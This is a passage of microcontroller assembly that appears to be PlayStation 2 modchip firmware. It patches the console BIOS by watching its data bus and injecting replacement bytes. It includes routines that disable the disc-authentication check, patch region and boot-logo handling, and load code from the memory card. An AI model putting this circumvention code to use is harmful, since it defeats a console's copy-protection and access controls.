VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#39;$27 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V10 V9_CONSOLE_19_BIOS setb V10_FLAG mov w,#100;$64 mov VAR_DC3,w mov w,#158;$9e mov VAR_DC4,w mov w,#55;$37 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V12 V12_CONSOLE_20_BIOS setb V10_FLAG setb V12_FLAG mov w,#124;$7c mov VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#55;$37 ;:loopxx ALL_CONTIUNE_BIOS_PATCH snb DEV1_FLAG jmp SECONDBIOS_PATCH_DEV1_STACK mov VAR_DC3,w mov w,#$15 mov fsr,w ;:loop LOAD_BIOS_PATCH_DATA mov w,VAR_DC3 call BIOS_PATCH_DATA mov indf,w inc fsr mov w,#$10 or fsr,w inc VAR_DC3 decsz VAR_DC1 jmp LOAD_BIOS_PATCH_DATA clr fsr snb PSX_FLAG page $0000 jmp TRAY_IS_EJECTED ;PS2_PATCH2 ;exit osd patch if psx mode selected ... ;:loop0 ; OSDSYS Wait for 60 00 04 08 ... fixed for V10 :) SECOND_BIOS_PATCH_SYNC snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC mov w,#$60 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP1 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP1 SECOND_BIOS_PATCH_SYNC_LOOP2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP3 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP3 SECOND_BIOS_PATCH_SYNC_LOOP4 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP4 mov w,#$4 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP5 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP5 SECOND_BIOS_PATCH_SYNC_LOOP6 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP6 mov w,#$8 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC mov w,#$15 mov fsr,w ;----------------------------------------------------------- ; Patch data for bios OSDSYS ;----------------------------------------------------------- ;:loop1 SECOND_BIOS_PATCH_SYNC_P2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P2 mov w,#$7 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P2 SECOND_BIOS_PATCH_SYNC_P3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P3 mov w,#$3 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 ;:loop66 SECOND_BIOS_PATCH_SYNC_P4 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4 SECOND_BIOS_PATCH_SYNC_P4_L1 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L1 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 SECOND_BIOS_PATCH_SYNC_P4_L2 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L2 mov !IO_BIOS_DATA,w SECOND_BIOS_PATCH_SYNC_P4_L3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L3 page $0200 call RUN_BIOS_PATCHES_SRAM snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START snb V12LOGO_FLAG page $0400 jmp PS1_MODE_SUCESSFUL_END ;logo patch for V12 page $0000 jmp CHECK_IF_START_PS2LOGO ;end of osd patch ;SETUPDEV SECONDBIOS_PATCH_DEV1_STACK mov w,#$1c mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#115;$73 mov VAR_DC2,w page $0200 jmp SECOND_BIOS_PATCH_SYNC SET_V14DRV mov w,#$34 ; ? likely some 75k patches? mov fsr,w mov w,#$14 mov indf,w inc fsr mov w,#$2 mov indf,w mov w,#$50 mov fsr,w mov w,#$20 mov indf,w mov w,#$54 mov fsr,w mov w,#$5c mov indf,w inc fsr mov w,#$25 mov indf,w mov w,#$5a mov fsr,w mov w,#$8 mov indf,w mov w,#16;$10 mov VAR_DC1,w mov w,#100;$64 mov VAR_DC3,w mov w,#$5c mov fsr,w page $0200 ; PAGE2 jmp LOAD_BIOS_PATCH_DATA ;---------------------------------------------------------- ;XCDVDMAN routine ;---------------------------------------------------------- ;IS_XCDVDMANX POST_PATCH_4_MODE_START page $0000 ; PAGE1 call SET_INTRPT ;IS_XCDVDMAN POST_PATCH_4_MODE_START2 snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START_P2 mov w,#100;$64 ; 100 mov VAR_DC4,w ; 30-35 sec wait for BIOS ;IS_XCDVDMAN:loop4 POST_PATCH_4_MODE_START_L1 mov w,#255;$ff mov VAR_DC3,w ;IS_XCDVDMAN:loop3 POST_PATCH_4_MODE_START_L2 mov w,#255;$ff mov VAR_DC2,w ;IS_XCDVDMAN:loop2 POST_PATCH_4_MODE_START_L3 mov w,#255;$ff mov VAR_DC1,w ;IS_XCDVDMAN:loopx POST_PATCH_4_MODE_START_L4 sb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_P2 decsz VAR_DC1 jmp POST_PATCH_4_MODE_START_L4 decsz VAR_DC2 jmp POST_PATCH_4_MODE_START_L3 decsz VAR_DC3 jmp POST_PATCH_4_MODE_START_L2 decsz VAR_DC4 jmp POST_PATCH_4_MODE_START_L1 jmp PS2_MODE_RB_IO_SET_SLEEP ; no xcdvdman reload ... ;IS_XCDVDMAN:loop0 POST_PATCH_4_MODE_START_L5 snb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_L4 ;IS_XCDVDMAN:loop1 POST_PATCH_4_MODE_START_P2 mov w,#$a2 ;sync A2 93 23 for V1-V10 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$93 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 ;XCDVDMAN clr fsr mov w,#7;$7 mov VAR_DC2,w mov w,#$8 mov IO_BIOS_DATA,w ;send 08 ;xcdvdman1_l0a POST_PATCH4MODE_START_P2_L1 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L1 mov w,#$27 ;27 18 00 A3 (A3) mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$a3 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 ; patch it ; Addr 00006A28 export 0x23(Cd Check) kill it ; 00006A28: 08 00 E0 03 jr ra ; 00006A2C: 00 00 00 00 nop snb X_FLAG ;first XMAN executed ! jmp POST_PATCH4MODE_END_P2 ;xcdvdman1_next mov w,#$15 mov fsr,w ;xcdvdman1_l1 POST_PATCH4MODE_START_P2_L2 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L2 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L2 POST_PATCH4MODE_START_P2_L3 sb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L3 mov !IO_BIOS_DATA,w POST_PATCH4MODE_END_P1 snb IO_BIOS_OE jmp POST_PATCH4MODE_END_P1 page $0200 call RUN_BIOS_PATCHES_SRAM sb EJ_FLAG page $0000 jmp TRAY_IS_EJECTED ;jump to EJECTED if no EJ_FLAG = first xman patch for originals jmp POST_PATCH_4_MODE_START2 ;? da verificare !!! ;again POST_PATCH4MODE_END_P2 clrb X_FLAG jmp POST_PATCH_4_MODE_START2 ;patch cddvdman & xcdvdman ;TO SLEEP ... , PERHARPS TO DREAM ... PS2_MODE_RB_IO_SET_SLEEP mode $000A ; XAh WKED_B Each register bit selects the edge sensitivity of the corresponding Port B input pin for MIWU operation. ;todo mov w,#$6 ; 0000 0110 Set the bit to 1 to sense falling (high-to-low) edges. mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense mode $0009 ; X9h Exchange WKPND_B clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; A bit set to 1 indicates that a valid edge has occurred on the corresponding MIWU pin, triggering a wakeup or interrupt. ; A bit set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ; XBh WKEN_B Multi-Input Wakeup/Interrupt (MIWU) function for the corresponding Port B input pin. ; Clear the bit to 0 to enable MIWU operation or set the bit to 1 to disable MIWU operation. snb PSX_FLAG ; jmp PS1_MODE_RB_IO_SET_SLEEP if PSX_FLAG is set jmp PS1_MODE_RB_IO_SET_SLEEP ; skip below io set and jmp PS1_MODE_RB_IO_SET_SLEEP mov w,#$f1 ; 1111 0001 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST rb.3 IO_EJECT enabled sleep PS1_MODE_RB_IO_SET_SLEEP mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enabled sleep org $0400 ; PAGE4 400-5FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P4 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P2 ret ;-------------------------------------------------------------------------------- PS2LOGO_PATCH ;-------------------------------------------------------------------------------- jmp pc+w ;LOAD_XMAN retw $0 ; 0 retw $e0 retw $3 retw $21 retw $10 retw $0 retw $0 mov w,#51;$33 mov VAR_DC3,w sb V14_FLAG jmp PS2LOGO_PATCH_not22_JMP1 ;v14? mov w,#13;$d mov VAR_DC3,w retw $40 retw $8 retw $11 retw $3c retw $8 retw $0 retw $32 retw $36 retw $f8 retw $1 retw $92 retw $ac retw $21 retw $0 retw $40 retw $8 retw $b retw $0 retw $32 retw $36 retw $10 retw $0 retw $4 retw $3c retw $18 retw $16 retw $92 retw $ac retw $0 retw $0 retw $4 retw $8 mov w,#70;$46 mov VAR_DC3,w snb V14_FLAG jmp PS2LOGO_PATCH_22_JMP2 ;not v14 patches, how flows? mov w,#51;$33 mov VAR_DC3,w ;v12 PS2LOGO_PATCH_not22_JMP1 retw $8 retw $11 retw $3c retw $c1 retw $0 retw $32 retw $36 retw $18 retw $16 retw $92 retw $ac retw $c retw $0 retw $0 retw $0 ;LOGO2 PS2LOGO_PATCH_22_JMP2 retw $0 retw $0 retw $0 retw $0 retw $20 retw $38 retw $11 retw $0 retw $0 retw $60 retw $3 retw $24 retw $0 retw $0 retw $e2 retw $90 retw $0 retw $0 retw $e4 retw $90 retw $ff retw $ff retw $63 retw $24 retw $26 retw $20 retw $82 retw $0 retw $0 retw $0 retw $e4 retw $a0 retw $fb retw $ff retw $61 retw $4 retw $1 retw $0 retw $e7 retw $24 mov w,#117;$75 mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP1 mov w,#112;$70 mov VAR_DC3,w retw $d0 retw $80 mov w,#119;$77 mov VAR_DC3,w jmp PS2LOGO_PATCH_11_17_JMP1 ;LOADV10A PS2LOGO_PATCH_19_20_JMP1 retw $50 retw $81 ;LOADL1 PS2LOGO_PATCH_11_17_JMP1 retw $80 retw $af retw $2e retw $1 retw $22 retw $92 retw $2f retw $1 retw $23 retw $92 retw $26 retw $10 retw $43 retw $0 retw $1a retw $0 retw $3 retw $24 retw $3 retw $0 retw $43 retw $14 retw $1 retw $0 retw $7 retw $24 mov w,#171;$ab mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP2 mov w,#151;$97 mov VAR_DC3,w retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af ;V10-12 PS2LOGO_PATCH_19_20_JMP2 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af ;V14DRV PS2LOGO_PATCHLOAD_22_JMP1 mov w,#39;$27 mov VAR_DC1,w jmp PS2LOGO_PATCHLOAD_22_JMP2 ;XMAN START_PS2LOGO_PATCH_LOAD mov w,#123;$7b mov VAR_DC1,w snb V14_FLAG jmp PS2LOGO_PATCHLOAD_22_JMP2 mov w,#110;$6e mov VAR_DC1,w ;PS2_PS2LOGO ;PS2_PS2LOGO:loopa PS2LOGO_PATCHLOAD_22_JMP2 clr w mov VAR_DC3,w mov w,#21;$15 mov fsr,w ;PS2_PS2LOGO:loop PS2LOGO_PATCHLOAD_LOOP mov w,VAR_DC3 call PS2LOGO_PATCH mov indf,w inc fsr mov w,#16;$10 or fsr,w inc VAR_DC3 decsz VAR_DC1 jmp PS2LOGO_PATCHLOAD_LOOP clr fsr snb PSX_FLAG page $0200 jmp SET_V14DRV snb X_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;PS2_PS2LOGO:loopz PS1_DETECTED_REBOOT clr fsr mov w,#117;$75 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$c0 mov VAR_PSX_TEMP,w mov w,#$72 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w snb V14_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v12 logo sync mov w,#103;$67 mov VAR_DC2,w ;V12 logo lenght mov w,#$8 mov VAR_PSX_BC_CDDVD_TEMP,w ;V12 sync data mov w,#$e0 mov VAR_PSX_TEMP,w mov w,#$9d mov VAR_PSX_BITC,w mov w,#$40 mov IO_BIOS_DATA,w ;V12 bios preload snb V12_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v10 sync mov w,#$af mov VAR_PSX_BC_CDDVD_TEMP,w ;V10 sync data mov w,#$6 mov VAR_PSX_TEMP,w mov w,#$8 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w ;V1-V10 bios preload snb V10_FLAG jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;load regs with v1-v9 sync mov w,#$1e mov VAR_PSX_TEMP,w ;V1-V9 sync data ;PS2_PS2LOGO:patchlogo2 PS1_DETECTED_REBOOT_JMP11to17_ALL mov w,#87;$57 mov VAR_DC2,w ;PS2_PS2LOGO:loop4 PS1_DETECTED_REBOOT_JMP20to22 mov w,#$50 mov VAR_PSX_BYTE,w ;PS2_PS2LOGO:loop3 PS1_DETECTED_REBOOT_L1 mov w,#255;$ff mov VAR_DC3,w ;PS2_PS2LOGO:loop2 PS1_DETECTED_REBOOT_L2 mov w,#255;$ff mov VAR_DC1,w ;PS2_PS2LOGO:loopx AUTO_REBOOT_PS1MODE sb IO_BIOS_CS jmp PSX_MODE_START_P2 decsz VAR_DC1 jmp AUTO_REBOOT_PS1MODE decsz VAR_DC3 jmp PS1_DETECTED_REBOOT_L2 decsz VAR_PSX_BYTE jmp PS1_DETECTED_REBOOT_L1 ;AUTORESET ;NEW!!! future board design using a 2N7002 mosfet IFDEF RSTBUMP mode $000B ;disable interrupt , need !!! ... mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ; above set for IO_CDDVD_BUS mode $000F ; XFh mode direction for RA, IO_CDDVD_BUS, RC output mov w,#$0 ; 0000 0000 mov IO_CDDVD_BUS,w ; IO_CDDVD_BUS = 0 ? clear IO_CDDVD_BUS values mov w,#$fb ; 1111 1011 IO_REST IO_REST output ELSE mov w,#$0 ; set w = #$0 = 0 mov IO_CDDVD_BUS,w ; set IO_CDDVD_BUS = w = 0 ? clear IO_CDDVD_BUS values mov w,#$fe ; 1111 1110 IO_CDDVD_BUS_f F output ENDIF mov !IO_CDDVD_BUS,w page $0000 call DELAY100m mov w,#$ff mov !IO_CDDVD_BUS,w setb PSX_FLAG page $0000 jmp CHECK_IF_V9to14 ;sync for all versions using regs :)) ;PS2_PS2LOGO::loop00x PS1_MODE_START snb IO_BIOS_CS jmp AUTO_REBOOT_PS1MODE ;PS2_PS2LOGO:loop1x PSX_MODE_START_P2 mov w,VAR_PSX_BC_CDDVD_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L1 sb IO_BIOS_OE jmp PS1_MODE_L1 PS1_MODE_L2 snb IO_BIOS_OE jmp PS1_MODE_L2 mov w,VAR_PSX_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L3 sb IO_BIOS_OE jmp PS1_MODE_L3 PS1_MODE_L4 snb IO_BIOS_OE jmp PS1_MODE_L4 mov w,VAR_PSX_BITC mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START mov w,#$1b mov fsr,w snb V14_FLAG jmp PS1_MODE_L5 snb V12_FLAG jmp PS1_MODE_v12_PATCHS mov w,#$3c mov fsr,w PS1_MODE_L5 snb IO_BIOS_OE jmp PS1_MODE_L5 nop mov w,#$c mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_L5 PS1_MODE_L6 sb IO_BIOS_OE jmp PS1_MODE_L6 mov !IO_BIOS_DATA,w ;PS2_PS2LOGO:loop1 PS1_MODE_L7 snb IO_BIOS_OE jmp PS1_MODE_L7 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;patch logo 2 times for V7 only ! ;PS2_PS2LOGO:back PS1_MODE_SUCESSFUL_END snb PSX_FLAG jmp PS1_CONSOLE_ALL_JMPNTSC setb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;V12 logo sync PS1_MODE_v12_PATCHS mov w,#$1c mov fsr,w setb V12LOGO_FLAG page $0200 jmp SECOND_BIOS_PATCH_SYNC_P2 ;psx1 driver patch ... ;PSX1DRV PS1_CONSOLE_PAL_YFIX ;V7DRV mov w,#$3c mov IO_BIOS_DATA,w mov w,#11;$b mov VAR_DC2,w mov w,#$15 ; fsr decimal 21 mov fsr,w ;10 01 00 43 30 ;psx1drv_l0 PS1_CONSOLE_PAL_YFIX_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$9 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC ;psx1drv_l0a PS1_CONSOLE_PAL_YFIX_SYNC_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 nop mov w,#$30 mov w,IO_BIOS_DATA-w ; 3C C7 34 19 19 E2 B2 19 E2 BA sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 PS1_CONSOLE_PAL_YFIX_SYNC_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L2 mov !IO_BIOS_DATA,w PS1_CONSOLE_PAL_YFIX_SYNC_L3 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L3 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_CONSOLE_PAL_YFIX ;LOGO PS1_CONSOLE_ALL_JMPNTSC mov w,#52;$34 ; should jmp here for ntsc but is no flow to here besides via ps1 hence poor ntsc console ps1 support h2o. is no ntsc yfix mov VAR_DC1,w mov w,#24;$18 mov VAR_DC3,w mov VAR_DC4,w ;logo_l1 ;match FDFF8514 PS1_CONSOLE_ALL_JMPNTSC_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC mov w,#$fd mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 mov w,#$85 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC ;logo_skip PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 decsz VAR_DC1 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 mov w,#$3 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$3c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 decsz VAR_DC3 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 mov w,#$0 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 decsz VAR_DC4 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 mov w,#$88 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$a4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w setb EJ_FLAG page $0000 jmp PS1_MODE_START_PATCH org $0600 ; PAGE8 600-7FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P8 ;-------------------------------------------------------------------------------- NOTCALLED4 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P8 ret ;-------------------------------------------------------------------------------- BIOS_PATCH_DEV1 ; straight patch flow 0 - 115 ;-------------------------------------------------------------------------------- ;LOAD_DEVMODE jmp pc+w retw $8 ;0 retw $10 retw $3c retw $72 retw $0 retw $11 retw $36 retw $7c retw $a9 retw $92 retw $34 retw $0 retw $0 retw $51 retw $ae retw $c retw $0 retw $0 retw $0 retw $3 retw $0 retw $5 retw $24 retw $10 retw $0 retw $6 retw $3c retw $ec retw $1 retw $c4 retw $34 ;30 retw $e0 retw $1 retw $c6 retw $34 retw $6 retw $0 retw $3 retw $24 retw $c retw $0 retw $0 retw $0 retw $f7 retw $1 retw $10 retw $0 retw $7 retw $2 retw $10 retw $0 retw $15 retw $2 retw $10 retw $0 retw $6d retw $6f retw $64 retw $75 retw $6c ;60 retw $65 retw $6c retw $6f retw $61 retw $64 retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a retw $53 retw $49 retw $4f retw $32 retw $4d retw $41 retw $4e retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a ;90 retw $4d retw $43 retw $4d retw $41 retw $4e retw $0 retw $6d retw $63 retw $30 retw $3a retw $2f retw $42 retw $4f retw $4f retw $54 retw $2f retw $42 retw $4f retw $4f retw $54 retw $2e retw $45 retw $4c retw $46 retw $0 ;115 DEV1_MODE_LOAD_START clrb PSX_FLAG ; PSX_FLAG clrb here related finish mode run ? setb SOFT_RST setb EJ_FLAG ; skip logo patch after media for DEVMODE setb DEV1_FLAG ;set DEVMODE flags mov w,#115;$73 mov VAR_DC1,w ; VAR_DC1 = 73h = 115 clr w mov VAR_DC3,w ; VAR_DC3 = 0 mov w,#$15 mov fsr,w ; fsr = 15h with fsr starting for SRAM patch caching. start 15h due to 10-14 disabled bank 0 DEV1_MODE_LOAD_LOOP mov w,VAR_DC3 call BIOS_PATCH_DEV1 mov indf,w ; mov value in w from patch data retw to indf which places it in the SRAM memory cache as addressed cycling. inc fsr ; +1 fsr to step up SRAM patch caching mov w,#$10 ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h or fsr,w ; section 6.2.1 fig. 6-1 start at 15h then increase one 0001 0110 or 0001 0000 = 0001 1101 = 16h repeat inc VAR_DC3 ; + 1 VAR_DC3 starting 0 above decsz VAR_DC1 ; jmp DEV1_MODE_LOAD_LOOP till VAR_DC1 = 0 start 119 jmp DEV1_MODE_LOAD_LOOP page $0200 ; PAGE2 jmp CHECK_IF_V1_v2or3_V4_V5to8 ;-------------------------------------------------------------------------------- MECHACON_WAIT_OE ;-------------------------------------------------------------------------------- NOTCALLED2 ;CDDVDSKIP_P8 snb IO_CDDVD_OE_A_1Q ; jmp MECHACON_WAIT_OE if ^Q = 1 jmp MECHACON_WAIT_OE ; wait until flipflop ^Q == 0 clrb IO_CDDVD_OE_A_1R ; reset flipflop so Q = 0 (and ^Q = 1) nop ; ... setb IO_CDDVD_OE_A_1R ; reset flipflop so ready for if lower sensed on cp (A) CONSOLE_IO_CDDVD_OE_A decsz VAR_DC1 ; decrement counter and repeat MECHACON_WAIT_OE if not yet zero jmp MECHACON_WAIT_OE ; ... ret ; counter finished: return ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA ;-------------------------------------------------------------------------------- ;PACKIT_BYTE jmp pc+w ; when called VAR_DC2 is in w so determins start point ; 1 is sent first rb.4-rb.7 then follows to nibble and send 2 to rb.4-rb.7 then flow for 8 bytes ; 1 2 ; G not patched on ps2 v1-v8 due to not connected. but is same overall patch for v1-v12 ea region. ; IHGB IHGB ; Remember b/f swapped final from v9kit sch, H=RW pal support f=tr or but how F=F rstbmp? USA H same as pal? retw $3b ; 0011 1011 ; 0 ; USA start retw $a0 ; 1010 0000 ; 1 retw $33 ; 0011 0011 ; 2 retw $28 ; 0010 1000 ; 3 retw $20 ; 0010 0000 ; 4 retw $ff ; 1111 1111 ; 5 retw $4 ; 0000 0100 ; 6 retw $41 ; 0100 0001 ; 7 ; USA end retw $44 ; 0100 0100 ; 8 ; PAL start retw $fd ; 1111 1101 ; 9 retw $13 ; 0001 0011 ; 10 retw $2b ; 0010 1011 ; 11 retw $61 ; 0110 0001 